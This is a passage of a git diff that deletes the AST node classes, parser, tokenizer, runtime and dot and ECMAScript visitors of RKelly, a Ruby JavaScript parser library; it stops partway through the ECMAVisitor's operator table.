diff --git a/lib/rkelly/nodes/label_node.rb b/lib/rkelly/nodes/label_node.rb
deleted file mode 100644
index fe548dd0cc..0000000000
--- a/lib/rkelly/nodes/label_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class LabelNode < Node
-      attr_reader :name
-      def initialize(name, value)
-        super(value)
-        @name = name
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/new_expr_node.rb b/lib/rkelly/nodes/new_expr_node.rb
deleted file mode 100644
index de7ed3d4dc..0000000000
--- a/lib/rkelly/nodes/new_expr_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class NewExprNode < Node
-      attr_reader :arguments
-      def initialize(value, args)
-        super(value)
-        @arguments = args
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/node.rb b/lib/rkelly/nodes/node.rb
deleted file mode 100644
index dd5dcde069..0000000000
--- a/lib/rkelly/nodes/node.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-module RKelly
-  module Nodes
-    class Node
-      include RKelly::Visitable
-      include RKelly::Visitors
-      include Enumerable
-
-      attr_accessor :value, :comments, :line, :filename
-      def initialize(value)
-        @value = value
-        @comments = []
-        @filename = @line = nil
-      end
-
-      def ==(other)
-        other.is_a?(self.class) && @value == other.value
-      end
-      alias :=~ :==
-
-      def ===(other)
-        other.is_a?(self.class) && @value === other.value
-      end
-
-      def pointcut(pattern)
-        case pattern
-        when String
-          ast = RKelly::Parser.new.parse(pattern)
-          # Only take the first statement
-          finder = ast.value.first.class.to_s =~ /StatementNode$/ ?
-            ast.value.first.value : ast.value.first
-          visitor = PointcutVisitor.new(finder)
-        else
-          visitor = PointcutVisitor.new(pattern)
-        end
-
-        visitor.accept(self)
-        visitor
-      end
-      alias :/ :pointcut
-
-      def to_sexp
-        SexpVisitor.new.accept(self)
-      end
-
-      def to_ecma
-        ECMAVisitor.new.accept(self)
-      end
-
-      def to_dots
-        visitor = DotVisitor.new
-        visitor.accept(self)
-        header = <<-END
-digraph g {
-graph [ rankdir = "TB" ];
-node [
-  fontsize = "16"
-  shape = "ellipse"
-];
-edge [ ];
-        END
-        nodes = visitor.nodes.map { |x| x.to_s }.join("\n")
-        counter = 0
-        arrows = visitor.arrows.map { |x|
-          s = "#{x} [\nid = #{counter}\n];"
-          counter += 1
-          s
-        }.join("\n")
-        "#{header}\n#{nodes}\n#{arrows}\n}"
-      end
-
-      def each(&block)
-        EnumerableVisitor.new(block).accept(self)
-      end
-
-      def to_real_sexp
-        RealSexpVisitor.new.accept(self)
-      end
-    end
-
-    %w[EmptyStatement Parenthetical ExpressionStatement True Delete Return TypeOf
-       SourceElements Number LogicalNot AssignExpr FunctionBody
-       ObjectLiteral UnaryMinus Throw This BitwiseNot Element String
-       Array CaseBlock Null Break Parameter Block False Void Regexp
-       Arguments Attr Continue ConstStatement UnaryPlus VarStatement].each do |node|
-      eval "class #{node}Node < Node; end"
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/not_strict_equal_node.rb b/lib/rkelly/nodes/not_strict_equal_node.rb
deleted file mode 100644
index 6933d2d2c9..0000000000
--- a/lib/rkelly/nodes/not_strict_equal_node.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module RKelly
-  module Nodes
-    class NotStrictEqualNode < BinaryNode
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/op_equal_node.rb b/lib/rkelly/nodes/op_equal_node.rb
deleted file mode 100644
index 2d9fcd462e..0000000000
--- a/lib/rkelly/nodes/op_equal_node.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module RKelly
-  module Nodes
-    class OpEqualNode < Node
-      attr_reader :left
-      def initialize(left, right)
-        super(right)
-        @left = left
-      end
-    end
-
-    %w[Multiply Divide LShift Minus Plus Mod XOr RShift And URShift Or].each do |node|
-      eval "class Op#{node}EqualNode < OpEqualNode; end"
-    end
-
-  end
-end
diff --git a/lib/rkelly/nodes/postfix_node.rb b/lib/rkelly/nodes/postfix_node.rb
deleted file mode 100644
index 90392a2be3..0000000000
--- a/lib/rkelly/nodes/postfix_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class PostfixNode < Node
-      attr_reader :operand
-      def initialize(operand, operator)
-        super(operator)
-        @operand = operand
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/prefix_node.rb b/lib/rkelly/nodes/prefix_node.rb
deleted file mode 100644
index aeb07e96f6..0000000000
--- a/lib/rkelly/nodes/prefix_node.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module RKelly
-  module Nodes
-    class PrefixNode < PostfixNode
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/property_node.rb b/lib/rkelly/nodes/property_node.rb
deleted file mode 100644
index 89d45e6869..0000000000
--- a/lib/rkelly/nodes/property_node.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module RKelly
-  module Nodes
-    class PropertyNode < Node
-      attr_accessor :name
-      def initialize(name, value)
-        super(value)
-        @name = name
-      end
-    end
-
-    %w[Getter Setter].each {|node| eval "class #{node}PropertyNode < PropertyNode; end"}
-  end
-end
diff --git a/lib/rkelly/nodes/resolve_node.rb b/lib/rkelly/nodes/resolve_node.rb
deleted file mode 100644
index 92b4996f7e..0000000000
--- a/lib/rkelly/nodes/resolve_node.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module RKelly
-  module Nodes
-    class ResolveNode < Node
-      def ==(other)
-        return true if super
-        if @value =~ /^[A-Z]/
-          place = [Object, Module, RKelly::Nodes].find { |x|
-            x.const_defined?(@value.to_sym)
-          }
-          return false unless place
-          klass = place.const_get(@value.to_sym)
-          return true if klass && other.is_a?(klass) || other.value.is_a?(klass)
-        end
-        false
-      end
-      alias :=~ :==
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/strict_equal_node.rb b/lib/rkelly/nodes/strict_equal_node.rb
deleted file mode 100644
index fa1172e09f..0000000000
--- a/lib/rkelly/nodes/strict_equal_node.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module RKelly
-  module Nodes
-    class StrictEqualNode < BinaryNode
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/try_node.rb b/lib/rkelly/nodes/try_node.rb
deleted file mode 100644
index 2e45ae27a4..0000000000
--- a/lib/rkelly/nodes/try_node.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module RKelly
-  module Nodes
-    class TryNode < Node
-      attr_reader :catch_var, :catch_block, :finally_block
-      def initialize(value, catch_var, catch_block, finally_block = nil)
-        super(value)
-        @catch_var = catch_var
-        @catch_block = catch_block
-        @finally_block = finally_block
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/var_decl_node.rb b/lib/rkelly/nodes/var_decl_node.rb
deleted file mode 100644
index 8034246628..0000000000
--- a/lib/rkelly/nodes/var_decl_node.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module RKelly
-  module Nodes
-    class VarDeclNode < Node
-      attr_accessor :name, :type
-      def initialize(name, value, constant = false)
-        super(value)
-        @name = name
-        @constant = constant
-      end
-
-      def constant?; @constant; end
-      def variable?; !@constant; end
-    end
-  end
-end
diff --git a/lib/rkelly/parser.rb b/lib/rkelly/parser.rb
deleted file mode 100644
index 920de83fd1..0000000000
--- a/lib/rkelly/parser.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-require 'rkelly/tokenizer'
-require 'rkelly/generated_parser'
-
-
-module RKelly
-  class Parser < RKelly::GeneratedParser
-    TOKENIZER = Tokenizer.new
-
-    RKelly::GeneratedParser.instance_methods.each do |im|
-      next unless im.to_s =~ /^_reduce_\d+$/
-      eval(<<-eoawesomehack)
-        def #{im}(val, _values, result)
-          r = super(val.map { |v|
-              v.is_a?(Token) ? v.to_racc_token[1] : v
-            }, _values, result)
-          if token = val.find { |v| v.is_a?(Token) }
-            r.line = token.line if r.respond_to?(:line)
-            r.filename = @filename if r.respond_to?(:filename)
-          end
-          r
-        end
-      eoawesomehack
-    end
-
-    attr_accessor :logger
-    def initialize
-      @tokens = []
-      @logger = nil
-      @terminator = false
-      @prev_token = nil
-      @comments = []
-    end
-
-    # Parse +javascript+ and return an AST
-    def parse(javascript, filename = nil)
-      @tokens = TOKENIZER.raw_tokens(javascript)
-      @position = 0
-      @filename = filename
-      ast = do_parse
-      apply_comments(ast)
-    end
-
-    def yyabort
-      raise "something bad happened, please report a bug with sample JavaScript"
-    end
-
-    private
-    def apply_comments(ast)
-      ast_hash = Hash.new { |h,k| h[k] = [] }
-      (ast || []).each { |n|
-        next unless n.line
-        ast_hash[n.line] << n
-      }
-      max = ast_hash.keys.sort.last
-      @comments.each do |comment|
-        node = nil
-        comment.line.upto(max) do |line|
-          if ast_hash.key?(line)
-            node = ast_hash[line].first
-            break
-          end
-        end
-        node.comments << comment if node
-      end if max
-      ast
-    end
-
-    def on_error(error_token_id, error_value, value_stack)
-      if logger
-        logger.error(token_to_str(error_token_id))
-        logger.error("error value: #{error_value}")
-        logger.error("error stack: #{value_stack}")
-      end
-    end
-
-    def next_token
-      @terminator = false
-      begin
-        return [false, false] if @position >= @tokens.length
-        n_token = @tokens[@position]
-        @position += 1
-        case @tokens[@position - 1].name
-        when :COMMENT
-          @comments << n_token
-          @terminator = true if n_token.value =~ /^\/\//
-        when :S
-          @terminator = true if n_token.value =~ /[\r\n]/
-        end
-      end while([:COMMENT, :S].include?(n_token.name))
-
-      if @terminator &&
-          ((@prev_token && %w[continue break return throw].include?(@prev_token.value)) ||
-           (n_token && %w[++ --].include?(n_token.value)))
-        @position -= 1
-        return (@prev_token = RKelly::Token.new(';', ';')).to_racc_token
-      end
-
-      @prev_token = n_token
-      v = n_token.to_racc_token
-      v[1] = n_token
-      v
-    end
-  end
-end
diff --git a/lib/rkelly/runtime.rb b/lib/rkelly/runtime.rb
deleted file mode 100644
index d7a314fb55..0000000000
--- a/lib/rkelly/runtime.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'rkelly/js'
-require 'rkelly/runtime/scope_chain'
-
-module RKelly
-  class Runtime
-    UNDEFINED = RKelly::JS::Property.new(:undefined, :undefined)
-
-    def initialize
-      @parser = Parser.new
-      @scope  = ScopeChain.new
-    end
-
-    # Execute +js+
-    def execute(js)
-      function_visitor  = Visitors::FunctionVisitor.new(@scope)
-      eval_visitor      = Visitors::EvaluationVisitor.new(@scope)
-      tree = @parser.parse(js)
-      function_visitor.accept(tree)
-      eval_visitor.accept(tree)
-      @scope
-    end
-
-    def call_function(function_name, *args)
-      function = @scope[function_name].value
-      @scope.new_scope { |chain|
-        function.js_call(chain, *(args.map { |x|
-          RKelly::JS::Property.new(:param, x)
-        }))
-      }.value
-    end
-
-    def define_function(function, &block)
-      @scope[function.to_s].function = block
-    end
-  end
-end
diff --git a/lib/rkelly/runtime/ruby_function.rb b/lib/rkelly/runtime/ruby_function.rb
deleted file mode 100644
index 741cb10758..0000000000
--- a/lib/rkelly/runtime/ruby_function.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module RKelly
-  class Runtime
-    class RubyFunction
-      def initialize(&block)
-        @code = block
-      end
-
-      def call(chain, *args)
-        @code.call(*args)
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/runtime/scope_chain.rb b/lib/rkelly/runtime/scope_chain.rb
deleted file mode 100644
index 76cb2bd5b5..0000000000
--- a/lib/rkelly/runtime/scope_chain.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-module RKelly
-  class Runtime
-    class ScopeChain
-      include RKelly::JS
-
-      def initialize(scope = Scope.new)
-        @chain = [GlobalObject.new]
-      end
-
-      def <<(scope)
-        @chain << scope
-      end
-
-      def has_property?(name)
-        scope = @chain.reverse.find { |x|
-          x.has_property?(name)
-        }
-        scope ? scope[name] : nil
-      end
-      
-      def [](name)
-        property = has_property?(name)
-        return property if property
-        @chain.last.properties[name]
-      end
-
-      def []=(name, value)
-        @chain.last.properties[name] = value
-      end
-
-      def pop
-        @chain.pop
-      end
-
-      def this
-        @chain.last
-      end
-
-      def new_scope(&block)
-        @chain << Scope.new
-        result = yield(self)
-        @chain.pop
-        result
-      end
-
-      def return=(value)
-        @chain.last.return = value
-      end
-
-      def return; @chain.last.return; end
-
-      def returned?
-        @chain.last.returned?
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/syntax_error.rb b/lib/rkelly/syntax_error.rb
deleted file mode 100644
index f14a1a569e..0000000000
--- a/lib/rkelly/syntax_error.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-module RKelly
-  class SyntaxError < ::SyntaxError
-  end
-end
diff --git a/lib/rkelly/token.rb b/lib/rkelly/token.rb
deleted file mode 100644
index 556817ac8a..0000000000
--- a/lib/rkelly/token.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module RKelly
-  class Token
-    attr_accessor :name, :value, :transformer, :line
-    def initialize(name, value, &transformer)
-      @name         = name
-      @value        = value
-      @transformer  = transformer
-    end
-
-    def to_racc_token
-      return transformer.call(name, value) if transformer
-      [name, value]
-    end
-  end
-end
diff --git a/lib/rkelly/tokenizer.rb b/lib/rkelly/tokenizer.rb
deleted file mode 100644
index 21ad0803f3..0000000000
--- a/lib/rkelly/tokenizer.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-require 'rkelly/lexeme'
-
-module RKelly
-  class Tokenizer
-    KEYWORDS = %w{
-      break case catch continue default delete do else finally for function
-      if in instanceof new return switch this throw try typeof var void while 
-      with 
-
-      const true false null debugger
-    }
-
-    RESERVED = %w{
-      abstract boolean byte char class double enum export extends
-      final float goto implements import int interface long native package
-      private protected public short static super synchronized throws
-      transient volatile
-    }
-
-    LITERALS = {
-      # Punctuators
-      '=='  => :EQEQ,
-      '!='  => :NE,
-      '===' => :STREQ,
-      '!==' => :STRNEQ,
-      '<='  => :LE,
-      '>='  => :GE,
-      '||'  => :OR,
-      '&&'  => :AND,
-      '++'  => :PLUSPLUS,
-      '--'  => :MINUSMINUS,
-      '<<'  => :LSHIFT,
-      '<<=' => :LSHIFTEQUAL,
-      '>>'  => :RSHIFT,
-      '>>=' => :RSHIFTEQUAL,
-      '>>>' => :URSHIFT,
-      '>>>='=> :URSHIFTEQUAL,
-      '&='  => :ANDEQUAL,
-      '%='  => :MODEQUAL,
-      '^='  => :XOREQUAL,
-      '|='  => :OREQUAL,
-      '+='  => :PLUSEQUAL,
-      '-='  => :MINUSEQUAL,
-      '*='  => :MULTEQUAL,
-      '/='  => :DIVEQUAL,
-    }
-
-    TOKENS_THAT_IMPLY_DIVISION = [:IDENT, :NUMBER, ')', ']', '}']
-
-    def initialize(&block)
-      @lexemes = []
-
-      token(:COMMENT, /\A\/(?:\*(?:.)*?\*\/|\/[^\n]*)/m)
-      token(:STRING, /\A"(?:[^"\\]*(?:\\.[^"\\]*)*)"|\A'(?:[^'\\]*(?:\\.[^'\\]*)*)'/m)
-
-      # A regexp to match floating point literals (but not integer literals).
-      token(:NUMBER, /\A\d+\.\d*(?:[eE][-+]?\d+)?|\A\d+(?:\.\d*)?[eE][-+]?\d+|\A\.\d+(?:[eE][-+]?\d+)?/m) do |type, value|
-        value.gsub!(/\.(\D)/, '.0\1') if value =~ /\.\w/
-        value.gsub!(/\.$/, '.0') if value =~ /\.$/
-        value.gsub!(/^\./, '0.') if value =~ /^\./
-        [type, eval(value)]
-      end
-      token(:NUMBER, /\A0[xX][\da-fA-F]+|\A0[0-7]*|\A\d+/) do |type, value|
-        [type, eval(value)]
-      end
-
-      token(:LITERALS,
-        Regexp.new(LITERALS.keys.sort_by { |x|
-          x.length
-        }.reverse.map { |x| "\\A#{x.gsub(/([|+*^])/, '\\\\\1')}" }.join('|')
-      )) do |type, value|
-        [LITERALS[value], value]
-      end
-
-      token(:IDENT, /\A([_\$A-Za-z][_\$0-9A-Za-z]*)/) do |type,value|
-        if KEYWORDS.include?(value)
-          [value.upcase.to_sym, value]
-        elsif RESERVED.include?(value)
-          [:RESERVED, value]
-        else
-          [type, value]
-        end
-      end
-
-      token(:REGEXP, /\A\/(?:[^\/\r\n\\]*(?:\\[^\r\n][^\/\r\n\\]*)*)\/[gi]*/)
-      token(:S, /\A[\s\r\n]*/m)
-
-      token(:SINGLE_CHAR, /\A./) do |type, value|
-        [value, value]
-      end
-    end
-  
-    def tokenize(string)
-      raw_tokens(string).map { |x| x.to_racc_token }
-    end
-
-    def raw_tokens(string)
-      tokens = []
-      line_number = 1
-      accepting_regexp = true
-      while string.length > 0
-        longest_token = nil
-
-        @lexemes.each { |lexeme|
-          next if lexeme.name == :REGEXP && !accepting_regexp
-
-          match = lexeme.match(string)
-          next if match.nil?
-          longest_token = match if longest_token.nil?
-          next if longest_token.value.length >= match.value.length
-          longest_token = match
-        }
-
-        accepting_regexp = followable_by_regex(longest_token)
-
-        longest_token.line = line_number
-        line_number += longest_token.value.scan(/\n/).length
-        string = string.slice(Range.new(longest_token.value.length, -1))
-        tokens << longest_token
-      end
-      tokens
-    end
-  
-    private
-    def token(name, pattern = nil, &block)
-      @lexemes << Lexeme.new(name, pattern, &block)
-    end
-
-    def followable_by_regex(current_token)
-     name = current_token.name
-     name = current_token.value if name == :SINGLE_CHAR
-     #the tokens that imply division vs. start of regex form a disjoint set
-     !TOKENS_THAT_IMPLY_DIVISION.include?(name)
-    end
-  end
-end
diff --git a/lib/rkelly/visitable.rb b/lib/rkelly/visitable.rb
deleted file mode 100644
index b57c8b0294..0000000000
--- a/lib/rkelly/visitable.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module RKelly
-  module Visitable
-    # Based off the visitor pattern from RubyGarden
-    def accept(visitor, &block)
-      klass = self.class.ancestors.find { |ancestor|
-        visitor.respond_to?("visit_#{ancestor.name.split(/::/)[-1]}")
-      }
-
-      if klass
-        visitor.send(:"visit_#{klass.name.split(/::/)[-1]}", self, &block)
-      else
-        raise "No visitor for '#{self.class}'"
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/visitors.rb b/lib/rkelly/visitors.rb
deleted file mode 100644
index d665245f1b..0000000000
--- a/lib/rkelly/visitors.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'rkelly/visitors/visitor'
-Dir[File.join(File.dirname(__FILE__), "visitors/*_visitor.rb")].each do |file|
-  require file[/rkelly\/visitors\/.*/]
-end
diff --git a/lib/rkelly/visitors/dot_visitor.rb b/lib/rkelly/visitors/dot_visitor.rb
deleted file mode 100644
index 25a3b94e5f..0000000000
--- a/lib/rkelly/visitors/dot_visitor.rb
+++ /dev/null
@@ -1,228 +0,0 @@
-module RKelly
-  module Visitors
-    class DotVisitor < Visitor
-      class Node < Struct.new(:node_id, :fields)
-        ESCAPE = /([<>"\\])/
-        def to_s
-          counter = 0
-          label = fields.map { |f|
-            s = "<f#{counter}> #{f.to_s.gsub(ESCAPE, '\\\\\1').gsub(/[\r\n]/,' ')}"
-            counter += 1
-            s
-          }.join('|')
-          "\"#{node_id}\" [\nlabel = \"#{label}\"\nshape = \"record\"\n];"
-        end
-      end
-
-      class Arrow < Struct.new(:from, :to, :label)
-        def to_s
-          "\"#{from.node_id}\":f0 -> \"#{to.node_id}\":f0"
-        end
-      end
-
-      attr_reader :nodes, :arrows
-      def initialize
-        @stack = []
-        @node_index = 0
-        @nodes  = []
-        @arrows = []
-      end
-
-      ## Terminal nodes
-      %w{
-        BreakNode ContinueNode EmptyStatementNode FalseNode
-        NullNode NumberNode ParameterNode RegexpNode ResolveNode StringNode
-        ThisNode TrueNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type, o.value].compact)
-          add_arrow_for(node)
-          @nodes << node
-        end
-      end
-      ## End Terminal nodes
-
-      # Single value nodes
-      %w{
-        AssignExprNode BitwiseNotNode BlockNode DeleteNode ElementNode
-        ExpressionStatementNode FunctionBodyNode LogicalNotNode ReturnNode
-        ThrowNode TypeOfNode UnaryMinusNode UnaryPlusNode VoidNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.value && o.value.accept(self)
-          @stack.pop
-        end
-      end
-      # End Single value nodes
-
-      # Binary nodes
-      %w{
-        AddNode BitAndNode BitOrNode BitXOrNode CaseClauseNode CommaNode
-        DivideNode DoWhileNode EqualNode GreaterNode GreaterOrEqualNode InNode
-        InstanceOfNode LeftShiftNode LessNode LessOrEqualNode LogicalAndNode
-        LogicalOrNode ModulusNode MultiplyNode NotEqualNode NotStrictEqualNode
-        OpAndEqualNode OpDivideEqualNode OpEqualNode OpLShiftEqualNode
-        OpMinusEqualNode OpModEqualNode OpMultiplyEqualNode OpOrEqualNode
-        OpPlusEqualNode OpRShiftEqualNode OpURShiftEqualNode OpXOrEqualNode
-        RightShiftNode StrictEqualNode SubtractNode SwitchNode
-        UnsignedRightShiftNode WhileNode WithNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.left && o.left.accept(self)
-          o.value && o.value.accept(self)
-          @stack.pop
-        end
-      end
-      # End Binary nodes
-
-      # Array Value Nodes
-      %w{
-        ArgumentsNode ArrayNode CaseBlockNode ConstStatementNode
-        ObjectLiteralNode SourceElementsNode VarStatementNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.value && o.value.each { |v| v && v.accept(self) }
-          @stack.pop
-        end
-      end
-      # END Array Value Nodes
-
-      # Name and Value Nodes
-      %w{
-        LabelNode PropertyNode GetterPropertyNode SetterPropertyNode VarDeclNode
-      }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type, o.name || 'NULL'])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.value && o.value.accept(self)
-          @stack.pop
-        end
-      end
-      # END Name and Value Nodes
-
-      %w{ PostfixNode PrefixNode }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type, o.value])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.operand && o.operand.accept(self)
-          @stack.pop
-        end
-      end
-
-      def visit_ForNode(o)
-        node = Node.new(@node_index += 1, ['ForNode'])
-        add_arrow_for(node)
-        @nodes << node
-        @stack.push(node)
-        [:init, :test, :counter, :value].each do |method|
-          o.send(method) && o.send(method).accept(self)
-        end
-        @stack.pop
-      end
-
-      %w{ IfNode ConditionalNode }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          [:conditions, :value, :else].each do |method|
-            o.send(method) && o.send(method).accept(self)
-          end
-          @stack.pop
-        end
-      end
-
-      def visit_ForInNode(o)
-        node = Node.new(@node_index += 1, ['ForInNode'])
-        add_arrow_for(node)
-        @nodes << node
-        @stack.push(node)
-        [:left, :right, :value].each do |method|
-          o.send(method) && o.send(method).accept(self)
-        end
-        @stack.pop
-      end
-
-      def visit_TryNode(o)
-        node = Node.new(@node_index += 1, ['TryNode', o.catch_var || 'NULL'])
-        add_arrow_for(node)
-        @nodes << node
-        @stack.push(node)
-        [:value, :catch_block, :finally_block].each do |method|
-          o.send(method) && o.send(method).accept(self)
-        end
-        @stack.pop
-      end
-
-      def visit_BracketAccessorNode(o)
-        node = Node.new(@node_index += 1, ['BracketAccessorNode'])
-        add_arrow_for(node)
-        @nodes << node
-        @stack.push(node)
-        [:value, :accessor].each do |method|
-          o.send(method) && o.send(method).accept(self)
-        end
-        @stack.pop
-      end
-
-      %w{ NewExprNode FunctionCallNode }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          [:value, :arguments].each do |method|
-            o.send(method) && o.send(method).accept(self)
-          end
-          @stack.pop
-        end
-      end
-
-      %w{ FunctionExprNode FunctionDeclNode }.each do |type|
-        define_method(:"visit_#{type}") do |o|
-          node = Node.new(@node_index += 1, [type, o.value || 'NULL'])
-          add_arrow_for(node)
-          @nodes << node
-          @stack.push(node)
-          o.arguments.each { |a| a && a.accept(self) }
-          o.function_body && o.function_body.accept(self)
-          @stack.pop
-        end
-      end
-
-      def visit_DotAccessorNode(o)
-        node = Node.new(@node_index += 1, ['DotAccessorNode', o.accessor])
-        add_arrow_for(node)
-        @nodes << node
-        @stack.push(node)
-        [:value].each do |method|
-          o.send(method) && o.send(method).accept(self)
-        end
-        @stack.pop
-      end
-
-      private
-      def add_arrow_for(node, label = nil)
-        @arrows << Arrow.new(@stack.last, node, label) if @stack.length > 0
-      end
-
-    end
-  end
-end
diff --git a/lib/rkelly/visitors/ecma_visitor.rb b/lib/rkelly/visitors/ecma_visitor.rb
deleted file mode 100644
index 265f792a49..0000000000
--- a/lib/rkelly/visitors/ecma_visitor.rb
+++ /dev/null
@@ -1,327 +0,0 @@
-module RKelly
-  module Visitors
-    class ECMAVisitor < Visitor
-      def initialize
-        @indent = 0
-      end
-
-      def visit_ParentheticalNode(o)
-        "(#{o.value.accept(self)})"
-      end
-
-      def visit_SourceElementsNode(o)
-        o.value.map { |x| "#{indent}#{x.accept(self)}" }.join("\n")
-      end
-
-      def visit_VarStatementNode(o)
-        "var #{o.value.map { |x| x.accept(self) }.join(', ')};"
-      end
-
-      def visit_ConstStatementNode(o)
-        "const #{o.value.map { |x| x.accept(self) }.join(', ')};"
-      end
-
-      def visit_VarDeclNode(o)
-        "#{o.name}#{o.value ? o.value.accept(self) : nil}"
-      end
-
-      def visit_AssignExprNode(o)
-        " = #{o.value.accept(self)}"
-      end
-
-      def visit_NumberNode(o)
-        o.value.to_s
-      end
-
-      def visit_ForNode(o)
-        init    = o.init ? o.init.accept(self) : ';'
-        test    = o.test ? o.test.accept(self) : ''
-        counter = o.counter ? o.counter.accept(self) : ''
-        # VarStatementNodes will have a ; appended automatically, but other
-        # expressions won't, so make sure it's there
-        if init[-1,1] != ';'
-            init += ';'
-        end
-        "for(#{init} #{test}; #{counter}) #{o.value.accept(self)}"
-      end
-
-      def visit_LessNode(o)
-        "#{o.left.accept(self)} < #{o.value.accept(self)}"
-      end
-
-      def visit_ResolveNode(o)
-        o.value
-      end
-
-      def visit_PostfixNode(o)
-        "#{o.operand.accept(self)}#{o.value}"
-      end
-
-      def visit_PrefixNode(o)
-        "#{o.value}#{o.operand.accept(self)}"
-      end
-
-      def visit_BlockNode(o)
-        @indent += 1
-        "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}"
-      end
-
-      def visit_ExpressionStatementNode(o)
-        "#{o.value.accept(self)};"
-      end
-
-      def visit_OpEqualNode(o)
-        "#{o.left.accept(self)} = #{o.value.accept(self)}"
-      end
-
-      def visit_FunctionCallNode(o)
-        "#{o.value.accept(self)}(#{o.arguments.accept(self)})"
-      end
-
-      def visit_ArgumentsNode(o)
-        o.value.map { |x| x.accept(self) }.join(', ')
-      end
-
-      def visit_StringNode(o)
-        o.value
-      end
-
-      def visit_NullNode(o)
-        "null"
-      end
-
-      def visit_FunctionDeclNode(o)
-        "#{indent}function #{o.value}(" +
-          "#{o.arguments.map { |x| x.accept(self) }.join(', ')})" +
-          "#{o.function_body.accept(self)}"
-      end
-
-      def visit_ParameterNode(o)
-        o.value
-      end
-
-      def visit_FunctionBodyNode(o)
-        @indent += 1
-        "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}"
-      end
-
-      def visit_BreakNode(o)
-        "break" + (o.value ? " #{o.value}" : '') + ';'
-      end
-
-      def visit_ContinueNode(o)
-        "continue" + (o.value ? " #{o.value}" : '') + ';'
-      end
-
-      def visit_TrueNode(o)
-        "true"
-      end
-
-      def visit_FalseNode(o)
-        "false"
-      end
-
-      def visit_EmptyStatementNode(o)
-        ';'
-      end
-
-      def visit_RegexpNode(o)
-        o.value
-      end
-
-      def visit_DotAccessorNode(o)
-        "#{o.value.accept(self)}.#{o.accessor}"
-      end
-
-      def visit_ThisNode(o)
-        "this"
-      end
-
-      def visit_BitwiseNotNode(o)
-        "~#{o.value.accept(self)}"
-      end
-
-      def visit_DeleteNode(o)
-        "delete #{o.value.accept(self)}"
-      end
-
-      def visit_ArrayNode(o)
-        "[#{o.value.map { |x| x ? x.accept(self) : '' }.join(', ')}]"
-      end
-
-      def visit_ElementNode(o)
-        o.value.accept(self)
-      end
-
-      def visit_LogicalNotNode(o)
-        "!#{o.value.accept(self)}"
-      end
-
-      def visit_UnaryMinusNode(o)
-        "-#{o.value.accept(self)}"
-      end
-
-      def visit_UnaryPlusNode(o)
-        "+#{o.value.accept(self)}"
-      end
-
-      def visit_ReturnNode(o)
-        "return" + (o.value ? " #{o.value.accept(self)}" : '') + ';'
-      end
-
-      def visit_ThrowNode(o)
-        "throw #{o.value.accept(self)};"
-      end
-
-      def visit_TypeOfNode(o)
-        "typeof #{o.value.accept(self)}"
-      end
-
-      def visit_VoidNode(o)
-        "void(#{o.value.accept(self)})"
-      end
-
-      [
-        [:Add, '+'],
-        [:BitAnd, '&'],
-        [:BitOr, '|'],
-        [:BitXOr, '^'],
-        [:Divide, '/'],
-        [:Equal, '=='],
-        [:Greater, '>'],
-        [:Greater, '>'],
-        [:GreaterOrEqual, '>='],
-        [:GreaterOrEqual, '>='],
-        [:In, 'in'],
-        [:InstanceOf, 'instanceof'],
-        [:LeftShift, '<<'],
-        [:LessOrEqual, '<='],
-        [:LogicalAnd, '&&'],
-        [:LogicalOr, '||'],
-        [:Modulus, '%'],
-        [:Multiply, '*'],
-        [:NotEqual, '!='],
